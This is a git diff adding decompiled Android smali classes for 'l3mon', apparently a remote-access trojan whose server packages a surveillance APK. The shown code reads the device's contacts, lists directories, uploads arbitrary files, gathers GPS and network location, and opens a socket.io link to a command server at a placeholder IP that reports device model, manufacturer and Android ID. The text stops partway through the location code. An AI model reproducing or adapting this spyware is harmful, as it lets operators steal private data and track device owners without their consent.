+ invoke-static {}, Lcom/etechd/l3mon/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v4
+
+ invoke-virtual {v4}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v5
+
+ sget-object v6, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
+
+ const/4 v4, 0x2
+
+ new-array v7, v4, [Ljava/lang/String;
+
+ const/4 v4, 0x0
+
+ aput-object v1, v7, v4
+
+ const/4 v4, 0x1
+
+ aput-object v0, v7, v4
+
+ const/4 v8, 0x0
+
+ const/4 v9, 0x0
+
+ const-string v10, "display_name ASC"
+
+ invoke-virtual/range {v5 .. v10}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v4
+
+ .line 21
+ .local v4, "cur":Landroid/database/Cursor;
+ :goto_0
+ invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
+
+ move-result v5
+
+ if-eqz v5, :cond_0
+
+ .line 22
+ new-instance v5, Lorg/json/JSONObject;
+
+ invoke-direct {v5}, Lorg/json/JSONObject;->()V
+
+ .line 23
+ .local v5, "contact":Lorg/json/JSONObject;
+ invoke-interface {v4, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v6
+
+ invoke-interface {v4, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v6
+
+ .line 24
+ .local v6, "name":Ljava/lang/String;
+ invoke-interface {v4, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v7
+
+ invoke-interface {v4, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v7
+
+ .line 26
+ .local v7, "num":Ljava/lang/String;
+ const-string v8, "phoneNo"
+
+ invoke-virtual {v5, v8, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 27
+ const-string v8, "name"
+
+ invoke-virtual {v5, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 28
+ invoke-virtual {v3, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 30
+ nop
+
+ .end local v5 # "contact":Lorg/json/JSONObject;
+ .end local v6 # "name":Ljava/lang/String;
+ .end local v7 # "num":Ljava/lang/String;
+ goto :goto_0
+
+ .line 31
+ :cond_0
+ const-string v0, "contactsList"
+
+ invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 32
+ return-object v2
+
+ .line 33
+ .end local v2 # "contacts":Lorg/json/JSONObject;
+ .end local v3 # "list":Lorg/json/JSONArray;
+ .end local v4 # "cur":Landroid/database/Cursor;
+ :catch_0
+ move-exception v0
+
+ .line 34
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 36
+ .end local v0 # "e":Lorg/json/JSONException;
+ const/4 v0, 0x0
+
+ return-object v0
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/FileManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/FileManager.smali
new file mode 100644
index 0000000..ed72617
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/FileManager.smali
@@ -0,0 +1,376 @@
+.class public Lcom/etechd/l3mon/FileManager;
+.super Ljava/lang/Object;
+.source "FileManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 16
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static downloadFile(Ljava/lang/String;)V
+ .locals 9
+ .param p0, "path" # Ljava/lang/String;
+
+ .line 64
+ if-nez p0, :cond_0
+
+ .line 65
+ return-void
+
+ .line 67
+ :cond_0
+ new-instance v0, Ljava/io/File;
+
+ invoke-direct {v0, p0}, Ljava/io/File;->(Ljava/lang/String;)V
+
+ .line 69
+ .local v0, "file":Ljava/io/File;
+ invoke-virtual {v0}, Ljava/io/File;->exists()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_1
+
+ .line 71
+ invoke-virtual {v0}, Ljava/io/File;->length()J
+
+ move-result-wide v1
+
+ long-to-int v2, v1
+
+ .line 72
+ .local v2, "size":I
+ new-array v1, v2, [B
+
+ .line 74
+ .local v1, "data":[B
+ :try_start_0
+ new-instance v3, Ljava/io/BufferedInputStream;
+
+ new-instance v4, Ljava/io/FileInputStream;
+
+ invoke-direct {v4, v0}, Ljava/io/FileInputStream;->(Ljava/io/File;)V
+
+ invoke-direct {v3, v4}, Ljava/io/BufferedInputStream;->(Ljava/io/InputStream;)V
+
+ .line 75
+ .local v3, "buf":Ljava/io/BufferedInputStream;
+ array-length v4, v1
+
+ const/4 v5, 0x0
+
+ invoke-virtual {v3, v1, v5, v4}, Ljava/io/BufferedInputStream;->read([BII)I
+
+ .line 76
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 77
+ .local v4, "object":Lorg/json/JSONObject;
+ const-string v6, "type"
+
+ const-string v7, "download"
+
+ invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 78
+ const-string v6, "name"
+
+ invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v7
+
+ invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 79
+ const-string v6, "buffer"
+
+ invoke-virtual {v4, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 80
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v6
+
+ invoke-virtual {v6}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v6
+
+ const-string v7, "0xFI"
+
+ const/4 v8, 0x1
+
+ new-array v8, v8, [Ljava/lang/Object;
+
+ aput-object v4, v8, v5
+
+ invoke-virtual {v6, v7, v8}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 81
+ invoke-virtual {v3}, Ljava/io/BufferedInputStream;->close()V
+ :try_end_0
+ .catch Ljava/io/FileNotFoundException; {:try_start_0 .. :try_end_0} :catch_2
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .end local v3 # "buf":Ljava/io/BufferedInputStream;
+ .end local v4 # "object":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 86
+ :catch_0
+ move-exception v3
+
+ .line 87
+ .local v3, "e":Lorg/json/JSONException;
+ invoke-virtual {v3}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_0
+
+ .line 84
+ .end local v3 # "e":Lorg/json/JSONException;
+ :catch_1
+ move-exception v3
+
+ .line 85
+ .local v3, "e":Ljava/io/IOException;
+ invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
+
+ .end local v3 # "e":Ljava/io/IOException;
+ goto :goto_0
+
+ .line 82
+ :catch_2
+ move-exception v3
+
+ .line 83
+ .local v3, "e":Ljava/io/FileNotFoundException;
+ invoke-virtual {v3}, Ljava/io/FileNotFoundException;->printStackTrace()V
+
+ .line 91
+ .end local v1 # "data":[B
+ .end local v2 # "size":I
+ .end local v3 # "e":Ljava/io/FileNotFoundException;
+ :cond_1
+ :goto_0
+ return-void
+.end method
+
+.method public static walk(Ljava/lang/String;)Lorg/json/JSONArray;
+ .locals 12
+ .param p0, "path" # Ljava/lang/String;
+
+ .line 23
+ const-string v0, "path"
+
+ const-string v1, "isDir"
+
+ const-string v2, "error"
+
+ const-string v3, "name"
+
+ new-instance v4, Lorg/json/JSONArray;
+
+ invoke-direct {v4}, Lorg/json/JSONArray;->()V
+
+ .line 24
+ .local v4, "values":Lorg/json/JSONArray;
+ new-instance v5, Ljava/io/File;
+
+ invoke-direct {v5, p0}, Ljava/io/File;->(Ljava/lang/String;)V
+
+ .line 25
+ .local v5, "dir":Ljava/io/File;
+ invoke-virtual {v5}, Ljava/io/File;->canRead()Z
+
+ move-result v6
+
+ const/4 v7, 0x0
+
+ const/4 v8, 0x1
+
+ if-nez v6, :cond_0
+
+ .line 26
+ const-string v6, "cannot"
+
+ const-string v9, "inaccessible"
+
+ invoke-static {v6, v9}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 28
+ :try_start_0
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 29
+ .local v6, "errorJson":Lorg/json/JSONObject;
+ const-string v9, "type"
+
+ invoke-virtual {v6, v9, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 30
+ const-string v9, "Denied"
+
+ invoke-virtual {v6, v2, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 31
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v2
+
+ invoke-virtual {v2}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v2
+
+ const-string v9, "0xFI"
+
+ new-array v10, v8, [Ljava/lang/Object;
+
+ aput-object v6, v10, v7
+
+ invoke-virtual {v2, v9, v10}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 34
+ nop
+
+ .end local v6 # "errorJson":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 32
+ :catch_0
+ move-exception v2
+
+ .line 33
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 37
+ .end local v2 # "e":Lorg/json/JSONException;
+ :cond_0
+ :goto_0
+ invoke-virtual {v5}, Ljava/io/File;->listFiles()[Ljava/io/File;
+
+ move-result-object v2
+
+ .line 39
+ .local v2, "list":[Ljava/io/File;
+ if-eqz v2, :cond_2
+
+ .line 40
+ :try_start_1
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 41
+ .local v6, "parenttObj":Lorg/json/JSONObject;
+ const-string v9, "../"
+
+ invoke-virtual {v6, v3, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 42
+ invoke-virtual {v6, v1, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 43
+ invoke-virtual {v5}, Ljava/io/File;->getParent()Ljava/lang/String;
+
+ move-result-object v8
+
+ invoke-virtual {v6, v0, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 44
+ invoke-virtual {v4, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 45
+ array-length v8, v2
+
+ :goto_1
+ if-ge v7, v8, :cond_2
+
+ aget-object v9, v2, v7
+
+ .line 46
+ .local v9, "file":Ljava/io/File;
+ invoke-virtual {v9}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v10
+
+ const-string v11, "."
+
+ invoke-virtual {v10, v11}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
+
+ move-result v10
+
+ if-nez v10, :cond_1
+
+ .line 47
+ new-instance v10, Lorg/json/JSONObject;
+
+ invoke-direct {v10}, Lorg/json/JSONObject;->()V
+
+ .line 48
+ .local v10, "fileObj":Lorg/json/JSONObject;
+ invoke-virtual {v9}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v11
+
+ invoke-virtual {v10, v3, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 49
+ invoke-virtual {v9}, Ljava/io/File;->isDirectory()Z
+
+ move-result v11
+
+ invoke-virtual {v10, v1, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 50
+ invoke-virtual {v9}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v11
+
+ invoke-virtual {v10, v0, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 51
+ invoke-virtual {v4, v10}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_1
+
+ .line 45
+ .end local v9 # "file":Ljava/io/File;
+ .end local v10 # "fileObj":Lorg/json/JSONObject;
+ :cond_1
+ add-int/lit8 v7, v7, 0x1
+
+ goto :goto_1
+
+ .line 55
+ .end local v6 # "parenttObj":Lorg/json/JSONObject;
+ :catch_1
+ move-exception v0
+
+ .line 56
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_2
+
+ .line 57
+ .end local v0 # "e":Lorg/json/JSONException;
+ :cond_2
+ nop
+
+ .line 60
+ :goto_2
+ return-object v4
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali
new file mode 100644
index 0000000..192838b
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali
@@ -0,0 +1,160 @@
+.class public Lcom/etechd/l3mon/IOSocket;
+.super Ljava/lang/Object;
+.source "IOSocket.java"
+
+
+# static fields
+.field private static ourInstance:Lcom/etechd/l3mon/IOSocket;
+
+
+# instance fields
+.field private ioSocket:Lio/socket/client/Socket;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 10
+ new-instance v0, Lcom/etechd/l3mon/IOSocket;
+
+ invoke-direct {v0}, Lcom/etechd/l3mon/IOSocket;->()V
+
+ sput-object v0, Lcom/etechd/l3mon/IOSocket;->ourInstance:Lcom/etechd/l3mon/IOSocket;
+
+ return-void
+.end method
+
+.method private constructor ()V
+ .locals 4
+
+ .line 15
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 18
+ :try_start_0
+ invoke-static {}, Lcom/etechd/l3mon/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v0
+
+ const-string v1, "android_id"
+
+ invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ .line 19
+ .local v0, "deviceID":Ljava/lang/String;
+ new-instance v1, Lio/socket/client/IO$Options;
+
+ invoke-direct {v1}, Lio/socket/client/IO$Options;->()V
+
+ .line 20
+ .local v1, "opts":Lio/socket/client/IO$Options;
+ const/4 v2, 0x1
+
+ iput-boolean v2, v1, Lio/socket/client/IO$Options;->reconnection:Z
+
+ .line 21
+ const-wide/16 v2, 0x1388
+
+ iput-wide v2, v1, Lio/socket/client/IO$Options;->reconnectionDelay:J
+
+ .line 22
+ const-wide/32 v2, 0x3b9ac9ff
+
+ iput-wide v2, v1, Lio/socket/client/IO$Options;->reconnectionDelayMax:J
+
+ .line 24
+ new-instance v2, Ljava/lang/StringBuilder;
+
+ invoke-direct {v2}, Ljava/lang/StringBuilder;->()V
+
+ const-string v3, "http://1.1.1.1:33?model="
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
+
+ invoke-static {v3}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ const-string v3, "&manf="
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ sget-object v3, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ const-string v3, "&release="
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ sget-object v3, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ const-string v3, "&id="
+
+ invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-static {v2}, Lio/socket/client/IO;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+
+ move-result-object v2
+
+ iput-object v2, p0, Lcom/etechd/l3mon/IOSocket;->ioSocket:Lio/socket/client/Socket;
+ :try_end_0
+ .catch Ljava/net/URISyntaxException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 27
+ .end local v0 # "deviceID":Ljava/lang/String;
+ .end local v1 # "opts":Lio/socket/client/IO$Options;
+ goto :goto_0
+
+ .line 25
+ :catch_0
+ move-exception v0
+
+ .line 26
+ .local v0, "e":Ljava/net/URISyntaxException;
+ invoke-virtual {v0}, Ljava/net/URISyntaxException;->printStackTrace()V
+
+ .line 28
+ .end local v0 # "e":Ljava/net/URISyntaxException;
+ :goto_0
+ return-void
+.end method
+
+.method public static getInstance()Lcom/etechd/l3mon/IOSocket;
+ .locals 1
+
+ .line 32
+ sget-object v0, Lcom/etechd/l3mon/IOSocket;->ourInstance:Lcom/etechd/l3mon/IOSocket;
+
+ return-object v0
+.end method
+
+
+# virtual methods
+.method public getIoSocket()Lio/socket/client/Socket;
+ .locals 1
+
+ .line 36
+ iget-object v0, p0, Lcom/etechd/l3mon/IOSocket;->ioSocket:Lio/socket/client/Socket;
+
+ return-object v0
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/LocManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/LocManager.smali
new file mode 100644
index 0000000..b7ebf7e
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/LocManager.smali
@@ -0,0 +1,542 @@
+.class public Lcom/etechd/l3mon/LocManager;
+.super Ljava/lang/Object;
+.source "LocManager.java"
+
+# interfaces
+.implements Landroid/location/LocationListener;
+
+
+# static fields
+.field private static final MIN_DISTANCE_CHANGE_FOR_UPDATES:J = 0xaL
+
+.field private static final MIN_TIME_BW_UPDATES:J = 0xea60L
+
+
+# instance fields
+.field accuracy:F
+
+.field altitude:D
+
+.field canGetLocation:Z
+
+.field isGPSEnabled:Z
+
+.field isNetworkEnabled:Z
+
+.field latitude:D
+
+.field location:Landroid/location/Location;
+
+.field protected locationManager:Landroid/location/LocationManager;
+
+.field longitude:D
+
+.field private final mContext:Landroid/content/Context;
+
+.field speed:F
+
+
+# direct methods
+.method public constructor ()V
+ .locals 1
+
+ .line 41
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 21
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->isGPSEnabled:Z
+
+ .line 22
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->isNetworkEnabled:Z
+
+ .line 23
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->canGetLocation:Z
+
+ .line 42
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lcom/etechd/l3mon/LocManager;->mContext:Landroid/content/Context;
+
+ .line 43
+ return-void
+.end method
+
+.method public constructor (Landroid/content/Context;)V
+ .locals 1
+ .param p1, "context" # Landroid/content/Context;
+
+ .line 46
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 21
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->isGPSEnabled:Z
+
+ .line 22
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->isNetworkEnabled:Z
+
+ .line 23
+ iput-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->canGetLocation:Z
+
+ .line 47
+ iput-object p1, p0, Lcom/etechd/l3mon/LocManager;->mContext:Landroid/content/Context;
+
+ .line 48
+ invoke-virtual {p0}, Lcom/etechd/l3mon/LocManager;->getLocation()Landroid/location/Location;
+
+ .line 49
+ return-void
+.end method
+
+
+# virtual methods
+.method public canGetLocation()Z
+ .locals 1
+
+ .line 107
+ iget-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->canGetLocation:Z
+
+ return v0
+.end method
+
+.method public getData()Lorg/json/JSONObject;
+ .locals 4
+
+ .line 111
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 112
+ .local v0, "data":Lorg/json/JSONObject;
+ iget-object v1, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v1, :cond_0
+
+ .line 114
+ :try_start_0
+ const-string v1, "enabled"
+
+ const/4 v2, 0x1
+
+ invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 115
+ const-string v1, "latitude"
+
+ iget-wide v2, p0, Lcom/etechd/l3mon/LocManager;->latitude:D
+
+ invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 116
+ const-string v1, "longitude"
+
+ iget-wide v2, p0, Lcom/etechd/l3mon/LocManager;->longitude:D
+
+ invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 117
+ const-string v1, "altitude"
+
+ iget-wide v2, p0, Lcom/etechd/l3mon/LocManager;->altitude:D
+
+ invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 118
+ const-string v1, "accuracy"
+
+ iget v2, p0, Lcom/etechd/l3mon/LocManager;->accuracy:F
+
+ float-to-double v2, v2
+
+ invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 119
+ const-string v1, "speed"
+
+ iget v2, p0, Lcom/etechd/l3mon/LocManager;->speed:F
+
+ float-to-double v2, v2
+
+ invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 121
+ return-object v0
+
+ .line 122
+ :catch_0
+ move-exception v1
+
+ .local v1, "e":Lorg/json/JSONException;
+ return-object v0
+
+ .line 123
+ .end local v1 # "e":Lorg/json/JSONException;
+ :cond_0
+ return-object v0
+.end method
+
+.method public getLocation()Landroid/location/Location;
+ .locals 5
+
+ .line 54
+ const-string v0, "network"
+
+ const-string v1, "gps"
+
+ :try_start_0
+ iget-object v2, p0, Lcom/etechd/l3mon/LocManager;->mContext:Landroid/content/Context;
+
+ const-string v3, "location"
+
+ invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v2
+
+ check-cast v2, Landroid/location/LocationManager;
+
+ iput-object v2, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ .line 56
+ iget-object v2, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ invoke-virtual {v2, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
+
+ move-result v2
+
+ iput-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->isGPSEnabled:Z
+
+ .line 58
+ iget-object v2, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ invoke-virtual {v2, v0}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
+
+ move-result v2
+
+ iput-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->isNetworkEnabled:Z
+
+ .line 60
+ iget-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->isGPSEnabled:Z
+
+ if-nez v2, :cond_0
+
+ iget-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->isNetworkEnabled:Z
+
+ if-eqz v2, :cond_2
+
+ .line 62
+ :cond_0
+ const/4 v2, 0x1
+
+ iput-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->canGetLocation:Z
+
+ .line 63
+ sget-object v2, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v2
+
+ const-string v3, "android.permission.ACCESS_FINE_LOCATION"
+
+ sget-object v4, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
+
+ move-result-object v4
+
+ invoke-virtual {v2, v3, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
+
+ move-result v2
+
+ if-nez v2, :cond_2
+
+ sget-object v2, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ .line 64
+ invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v2
+
+ const-string v3, "android.permission.ACCESS_COARSE_LOCATION"
+
+ sget-object v4, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
+
+ move-result-object v4
+
+ invoke-virtual {v2, v3, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
+
+ move-result v2
+
+ if-nez v2, :cond_2
+
+ .line 66
+ iget-boolean v2, p0, Lcom/etechd/l3mon/LocManager;->isNetworkEnabled:Z
+
+ if-eqz v2, :cond_1
+
+ .line 68
+ iget-object v2, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ if-eqz v2, :cond_1
+
+ .line 69
+ iget-object v2, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ invoke-virtual {v2, v0}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ .line 70
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_1
+
+ .line 71
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v2
+
+ iput-wide v2, p0, Lcom/etechd/l3mon/LocManager;->latitude:D
+
+ .line 72
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v2
+
+ iput-wide v2, p0, Lcom/etechd/l3mon/LocManager;->longitude:D
+
+ .line 73
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getAltitude()D
+
+ move-result-wide v2
+
+ iput-wide v2, p0, Lcom/etechd/l3mon/LocManager;->altitude:D
+
+ .line 74
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getAccuracy()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->accuracy:F
+
+ .line 75
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getSpeed()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->speed:F
+
+ .line 81
+ :cond_1
